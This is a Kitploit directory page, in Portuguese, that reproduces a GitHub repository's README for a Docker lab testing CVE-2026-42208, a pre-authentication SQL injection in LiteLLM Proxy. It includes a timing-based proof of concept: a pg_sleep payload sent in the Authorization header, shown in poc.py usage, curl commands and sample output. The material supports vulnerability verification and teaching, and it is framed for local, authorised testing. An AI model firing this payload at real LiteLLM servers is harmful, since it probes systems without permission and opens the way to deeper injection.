Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42208-Lab — Lab Docker local e prova de conceito baseada em temporização para CVE-2026-42208, uma injeção de SQL pré-autenticação no LiteLLM Proxy, demonstrando instâncias vulneráveis versus corrigidas. | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-42208-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-42208-lab

CVE-2026-42208-Lab

Lab Docker local e prova de conceito baseada em temporização para CVE-2026-42208, uma injeção de SQL pré-autenticação no LiteLLM Proxy, demonstrando instâncias vulneráveis versus corrigidas.

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42208 — PoC de Timing de Injeção SQL Pré-Autenticação no LiteLLM

Laboratório Docker local e PoC de menor dano para CVE-2026-42208, uma vulnerabilidade de injeção SQL pré-autenticação no caminho de verificação de chave de API do LiteLLM Proxy.

Este repositório demonstra a diferença entre uma instância vulnerável do LiteLLM e uma instância corrigida do LiteLLM usando uma prova baseada em timing com pg_sleep() do PostgreSQL.

Escopo: apenas laboratório local / testes autorizados. O PoC padrão não despeja dados do banco de dados e não modifica dados do banco de dados.


Visão Geral

A CVE-2026-42208 afeta as versões 1.81.16 até as versões anteriores a 1.83.7 do LiteLLM Proxy.

A vulnerabilidade é acionada por meio de um cabeçalho Authorization: Bearer ... manipulado enviado a um endpoint da API do LiteLLM. Nas versões afetadas, o token fornecido pelo chamador pode alcançar um caminho de consulta SQL durante a verificação da chave de API.

Este laboratório compara:

ServiçoVersãoURLResultado Esperado
vulnv1.83.6-nightlyhttp://127.0.0.1:8081resposta 401 atrasada
patchedv1.83.7-stablehttp://127.0.0.1:8082resposta 401 rápida

A prova usa um payload semelhante a:

root@kitploit:~
' OR (SELECT pg_sleep(6)) IS NULL --

Ambos os serviços devem retornar HTTP 401, mas a instância vulnerável deve levar cerca de 6 segundos para responder, enquanto a instância corrigida deve responder rapidamente.


Estrutura do Repositório

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   ├── Dockerfile
│   └── config.yaml
├── patched/
│   ├── Dockerfile
│   └── config.yaml
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

Arquitetura do Laboratório

root@kitploit:~
localhost:8081  ->  LiteLLM vulnerável  ->  PostgreSQL db-vuln
localhost:8082  ->  LiteLLM corrigido   ->  PostgreSQL db-patched

Os serviços PostgreSQL são serviços Docker internos e não são expostos ao host.

Apenas as portas HTTP do LiteLLM são expostas:

Porta do HostServiçoPorta do Contêiner
8081LiteLLM vulnerável4000
8082LiteLLM corrigido4000

Requisitos

  • Docker Desktop
  • Docker Compose v2
  • Python 3

Iniciar o Laboratório

root@kitploit:~
docker compose up -d --build

Verifique o status dos serviços:

root@kitploit:~
docker compose ps

Status esperado:

root@kitploit:~
db-vuln      healthy
db-patched   healthy
vuln         healthy
patched      healthy

Executar o PoC

Teste a instância vulnerável:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

Teste a instância corrigida:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

Opções do PoC

root@kitploit:~
--url      URL base do alvo
--path     Caminho da API a testar. Padrão: /v1/chat/completions
--sleep    Segundos para pg_sleep(). Padrão: 6
--rounds   Número de rodadas de sondagem. Padrão: 2

Exemplos:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions

Saída Esperada

Instância vulnerável:

root@kitploit:~
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2

[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'

[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'

[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation

Instância corrigida:

root@kitploit:~
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2

[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'

[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'

[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed

Evidência de Execução Local

Exemplo de resultado deste laboratório:

root@kitploit:~
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s

vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s

A observação importante é que ambos os serviços retornam 401, mas apenas o serviço vulnerável atrasa aproximadamente pela duração do pg_sleep().


Por Que a Prova por Timing é Usada

Este repositório usa uma prova por timing porque é mais segura do que extrair dados.

O PoC prova que a expressão SQL injetada está sendo avaliada observando o atraso na resposta. Ele não tenta despejar linhas do banco de dados, extrair chaves de API, modificar registros ou contornar a autenticação.


Verificação Manual de Timing

Serviço vulnerável:

root@kitploit:~
time curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST http://127.0.0.1:8081/v1/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
  -H "Content-Type: application/json" \
  -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'

Serviço corrigido:

root@kitploit:~
time curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST http://127.0.0.1:8082/v1/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
  -H "Content-Type: application/json" \
  -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'

Comportamento esperado:

root@kitploit:~
vulnerável -> aproximadamente 6 segundos
corrigido  -> resposta quase imediata

Limpeza

root@kitploit:~
docker compose down -v

Isso remove contêineres, rede e volumes do PostgreSQL.


Notas de Segurança

Este laboratório é destinado apenas a testes locais e autorizados.

Não execute o PoC contra sistemas que você não possui ou para os quais não tem permissão de teste.

Não use chaves de API reais de provedores ou credenciais de produção do LiteLLM neste laboratório.

O PoC padrão evita comportamento destrutivo e não extrai conteúdo do banco de dados.


Referências

  • GitHub Security Advisory: GHSA-r75f-5x8p-qvmc
  • NVD: CVE-2026-42208
  • CVE Record: CVE-2026-42208
  • LiteLLM Security Update: CVE-2026-42208 in LiteLLM Proxy
  • Bishop Fox: CVE-2026-42208 — Pre-Authentication SQL Injection in LiteLLM Proxy
Baixar ferramenta